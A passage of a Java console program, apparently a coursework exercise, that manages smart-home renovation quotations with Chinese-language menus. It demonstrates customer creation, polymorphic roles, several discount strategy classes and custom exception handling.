28000.0, 3500.0, 4000.0, 2500.0, 1500.0); q2.setTotalDiscountRate(0.80); quotations.add(q1); quotations.add(q2); quotationHashMap.put(q1.getQuotationNo(), q1); quotationHashMap.put(q2.getQuotationNo(), q2); } /** * 6. 创建客户 */ private static void createCustomer() { System.out.println("创建客户"); System.out.print("类型(1-业主 2-公司 3-师傅):"); String type = sc.nextLine().strip(); System.out.print("姓名:"); String name = sc.nextLine().strip(); System.out.print("电话:"); String phone = sc.nextLine().strip(); switch (type) { case "1" -> { System.out.print("房屋地址:"); String addr = sc.nextLine().strip(); System.out.print("房屋面积:"); double area = Double.parseDouble(sc.nextLine().strip()); people.add(new Customer(name, phone, addr, area)); } case "2" -> { System.out.print("公司名称:"); String cName = sc.nextLine().strip(); System.out.print("公司地址:"); String cAddr = sc.nextLine().strip(); people.add(new Company(name, phone, cName, cAddr, "")); } case "3" -> { System.out.print("工种:"); String job = sc.nextLine().strip(); System.out.print("工龄:"); int year = Integer.parseInt(sc.nextLine().strip()); System.out.print("评分:"); double score = Double.parseDouble(sc.nextLine().strip()); people.add(new Worker(name, phone, job, year, score)); } default -> System.out.println("无效类型"); } System.out.println("创建成功!"); } /** * 7. 创建报价单 */ private static void createQuotation() { if (people.size() < 2) { System.out.println("请先创建客户和厂家"); return; } System.out.println("创建报价单"); // 直接选预置数据,不交互选客户 System.out.println("功能开发中(选项3/4查看)"); } /** * 8. 查看报价单列表 */ private static void showQuotationList() { System.out.println("报价单列表"); for (int i = 0; i < quotations.size(); i++) { System.out.println((i + 1) + ". " + quotations.get(i).getSummaryLine()); } if (quotations.isEmpty()) { System.out.println("暂无报价单"); } } /** * 9. 查看报价单详情 */ private static void showQuotationDetail() { if (quotations.isEmpty()) { System.out.println(MSG_NO_QUOTATION); return; } System.out.print("请输入报价单序号(1-" + quotations.size() + "):"); String input = sc.nextLine().strip(); try { int idx = Integer.parseInt(input) - 1; if (idx < 0 || idx >= quotations.size()) { System.out.println("序号超出范围(1-" + quotations.size() + "):"); return; } System.out.println(quotations.get(idx)); } catch (NumberFormatException e) { System.out.println("输入错误:请输入有效的数字序号!"); } } /** * 10. 多态角色展示 */ private static void showRoleDemo() { System.out.println("多态角色展示"); for (Person p : people) { System.out.println(p.showRole() + " " + p.getName()); System.out.println(" " + p.introduce()); } } /** * 11. 完整客户信息 */ private static void showFullInfoDemo() { System.out.println("完整客户信息"); if (quotations.isEmpty()) { System.out.println("暂无报价单"); return; } for (SmartHomeQuotation q : quotations) { // for-each循环 System.out.println(q.getClientFullInfo()); } } /** * 12. 折扣计算演示 */ private static void showDiscountDemo() { System.out.println("折扣计算演示"); for (SmartHomeQuotation q : quotations) { // for-each循环 System.out.printf("%s 原价:%,.2f 元,%s后:%,.2f 元,优惠:%,.2f 元 %n", q.getQuotationNo(), q.calcOriginalTotalAmount(), q.getDiscountDesc(), q.calcDiscountedTotalAmount(), q.calcOriginalTotalAmount() - q.calcDiscountedTotalAmount()); } } /** * 13. 折扣策略接口演示 */ private static void showDiscountStategyDemo() { System.out.println("折扣策略接口演示"); DiscountStrategy s1 = new PercentageDiscountStrategy(0.85); DiscountStrategy s2 = new PercentageDiscountStrategy(0.80); System.out.printf(" %s 折扣接口策略【%s】:%,.2f 元 %n", quotations.get(0).getQuotationNo(), s1.getStrategyName(), quotations.get(0).getDiscountedTotal(s1)); System.out.printf(" %s 折扣接口策略【%s】:%,.2f 元 %n", quotations.get(1).getQuotationNo(), s2.getStrategyName(), quotations.get(1).getDiscountedTotal(s2)); } /** * 14. 固定金额减免策略接口演示 */ private static void showFixedAmountDemo() { System.out.println("固定金额减免接口演示"); DiscountStrategy fixed3000 = new FixedAmountDiscountStrategy(3000); DiscountStrategy fixed8000 = new FixedAmountDiscountStrategy(8000); for (SmartHomeQuotation q : quotations) { // for-each循环 System.out.printf("%s 原价:%,.2f 元 %n", q.getQuotationNo(), q.calcOriginalTotalAmount()); System.out.printf(" 【%s】 后:%,.2f 元 %n", fixed3000.getStrategyName(), q.getDiscountedTotal(fixed3000)); System.out.printf(" 【%s】 后:%,.2f 元 %n", fixed8000.getStrategyName(), q.getDiscountedTotal(fixed8000)); System.out.println(); } } /** * 15. 满减 */ private static void showFullReductionDemo() { System.out.println("满减策略"); DiscountStrategy strategy = new FullReductionStrategy(50000, 5000); for (SmartHomeQuotation q : quotations) { // for-each循环 System.out.printf("%s 原价:%,.2f 元 [%s] 折后:%,.2f 元 %n", q.getQuotationNo(), q.calcOriginalTotalAmount(), strategy.getStrategyName(), q.getDiscountedTotal(strategy)); } } /** * 16. 阶梯 */ private static void showTieredDemo() { System.out.println("阶梯折扣"); DiscountStrategy strategy = new TieredDiscountStrategy(50000, 0.90, 0.80); for (SmartHomeQuotation q : quotations) { // for-each循环 System.out.printf("%s 原价:%,.2f 元 [%s] 折后:%,.2f 元 %n", q.getQuotationNo(), q.calcOriginalTotalAmount(), strategy.getStrategyName(), q.getDiscountedTotal(strategy)); } } /** * 17. 折扣率异常的处理 */ private static void showExceptionDemo() { System.out.println("异常测试"); // 测试1:正常设置 System.out.println("1. 设置合法折扣率 0.90"); try { quotations.get(0).setTotalDiscountRate(0.90); System.out.println(" 设置成功,当前折扣率:" + quotations.get(0).getTotalDiscountRate()); } catch (DiscountRateInvalidException e) { System.out.println(" 捕获异常:" + e.getMessage()); } finally { System.out.println(" finally 执行"); } System.out.println(); // 测试2:非法设置(触发异常) System.out.println("2. 设置非法折扣率 1.50"); try { quotations.get(0).setTotalDiscountRate(1.50); System.out.println(" 设置成功(这行不会执行)"); } catch (DiscountRateInvalidException e) { System.out.println(" 捕获异常:" + e.getMessage()); } finally { System.out.println(" finally 执行"); } System.out.println(); // 验证:异常后数据未被污染 System.out.println("3. 验证当前折扣率:" + quotations.get(0).getTotalDiscountRate()); } /** * 18. 按照编号查找报价单 */ private static void findQuotationById() { System.out.print(FIND_QUOTATION_BY_ID_PROMPT); String id = sc.nextLine().strip(); if (!quotationHashMap.containsKey(id)) { System.out.println(MSG_QUOTATION_NOT_EXISTS + id); return; } System.out.println(quotationHashMap.get(id)); } } ```
